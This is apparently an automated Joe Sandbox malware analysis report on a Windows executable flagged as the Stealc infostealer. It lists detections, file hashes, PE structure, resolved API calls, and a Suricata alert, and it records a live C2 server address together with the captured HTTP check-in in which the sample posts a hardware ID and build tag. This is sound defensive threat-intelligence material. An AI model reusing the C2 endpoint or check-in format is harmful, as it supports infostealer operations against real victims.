Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0	file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php;	file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/G	file.exe, 00000000.00000002.1747007538.0000000001088000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541160
Start date and time:	2024-10-24 14:17:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949218692389576
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'836'032 bytes
MD5:	efb3596cf052ae112e2b81b16870436e
SHA1:	266b9c7ace3a1371ef5e87eb55f4e65ecb5e2d57
SHA256:	73de19773f529e65c1935196f7eb61206dad5ad17783a4412543c4bf0325bdc6
SHA512:	9fca9b4d81512d404556b8b1be39bdd5acd9ddb4af66c921d3074474bfceca28f6943d816c3ea36211eae67cb4eeccf99ca0713692b9b5a4f2d57fdb83f16a9b
SSDEEP:	24576:y+saJ72bxAtYqLHfmrMgxkagLZSbr7AojH2ccN4MHEDK7SFma/o5FbJC6LgW:yiw+Ys7asKrbqRtHrbawtCQ
TLSH:	FD8533EE8FD28D7BC9A490769283150CDFD2D8954D5CA1181E96E3362AE31E353C3A9C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1674F7896Ah
psrad mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	603514736a3aa348022c374f60b487b3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	af42d9509d719a85e15b99323cb5311a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
enilkfvu	0x4fe000	0x19b000	0x19a200	b36ff5d380d6b011ec6e75c0a6462283	False	0.9950591473636087	data	7.954611061577171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cjtkqast	0x699000	0x1000	0x400	0bcbd54a184f9ec0804f6f510daeee32	False	0.6611328125	data	5.372094779376595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	71291a579da5da9830d934a8ecee91e5	False	0.07192095588235294	DOS executable (COM)	0.788497548224364	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T14:18:02.241179+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 14:18:01.030793905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:01.037185907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 14:18:01.037280083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:01.037431002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:01.044307947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 14:18:01.948930979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 14:18:01.949054956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:01.951911926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:01.957319975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 14:18:02.241003036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 14:18:02.241178989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 14:18:05.011349916 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 14:18:01.037431002 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 14:18:01.948930979 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:18:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 14:18:01.951911926 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 37 37 43 37 42 31 44 32 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="hwid"6977C7B1D24A563484146------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="build"doma------EBAFBGIDHCBFHIECFCBG--
Oct 24, 2024 14:18:02.241003036 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:18:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	08:17:57
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x910000
File size:	1'836'032 bytes
MD5 hash:	EFB3596CF052AE112E2B81B16870436E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1704892194.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00929860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,010431E0), ref: 009298A1
GetProcAddress.KERNEL32(74DD0000,010430F0), ref: 009298BA
GetProcAddress.KERNEL32(74DD0000,01043240), ref: 009298D2
GetProcAddress.KERNEL32(74DD0000,01043180), ref: 009298EA
GetProcAddress.KERNEL32(74DD0000,01043258), ref: 00929903
GetProcAddress.KERNEL32(74DD0000,0104A018), ref: 0092991B
GetProcAddress.KERNEL32(74DD0000,01035970), ref: 00929933
GetProcAddress.KERNEL32(74DD0000,010359F0), ref: 0092994C
GetProcAddress.KERNEL32(74DD0000,010431C8), ref: 00929964
GetProcAddress.KERNEL32(74DD0000,01043288), ref: 0092997C
GetProcAddress.KERNEL32(74DD0000,01042FE8), ref: 00929995
GetProcAddress.KERNEL32(74DD0000,010432A0), ref: 009299AD
GetProcAddress.KERNEL32(74DD0000,01035710), ref: 009299C5
GetProcAddress.KERNEL32(74DD0000,010432B8), ref: 009299DE
GetProcAddress.KERNEL32(74DD0000,010432D0), ref: 009299F6
GetProcAddress.KERNEL32(74DD0000,01035830), ref: 00929A0E
GetProcAddress.KERNEL32(74DD0000,01043018), ref: 00929A27
GetProcAddress.KERNEL32(74DD0000,01043030), ref: 00929A3F
GetProcAddress.KERNEL32(74DD0000,01035A70), ref: 00929A57
GetProcAddress.KERNEL32(74DD0000,01043078), ref: 00929A70
GetProcAddress.KERNEL32(74DD0000,010358B0), ref: 00929A88
LoadLibraryA.KERNEL32(01043360,?,00926A00), ref: 00929A9A
LoadLibraryA.KERNEL32(010432E8,?,00926A00), ref: 00929AAB
LoadLibraryA.KERNEL32(01043330,?,00926A00), ref: 00929ABD
LoadLibraryA.KERNEL32(010433A8,?,00926A00), ref: 00929ACF
LoadLibraryA.KERNEL32(01043348,?,00926A00), ref: 00929AE0
GetProcAddress.KERNEL32(75A70000,01043378), ref: 00929B02
GetProcAddress.KERNEL32(75290000,01043300), ref: 00929B23
GetProcAddress.KERNEL32(75290000,01043390), ref: 00929B3B
GetProcAddress.KERNEL32(75BD0000,01043318), ref: 00929B5D
GetProcAddress.KERNEL32(75450000,01035A10), ref: 00929B7E
GetProcAddress.KERNEL32(76E90000,0104A028), ref: 00929B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00929BB6

Strings

NtQueryInformationProcess, xrefs: 00929BAA

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3d6111ae639a723487fc5ec958ab44fa5a76e3f4567599e136081c135c037089
Instruction ID: 7149d25357b407c0fde790e44ab5615a775ae814aad6026a47980cd29816527b
Opcode Fuzzy Hash: 3d6111ae639a723487fc5ec958ab44fa5a76e3f4567599e136081c135c037089
Instruction Fuzzy Hash: E9A128B5500344AFD344EFA8FD98B663BF9F78C303B14479AA705A3264DE39A841CB52

Function 009145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0091460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0091479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009145DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009146B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009145C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009146D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009146CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009146C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009145D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009145E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009145F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0091474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00914617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009146AC

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
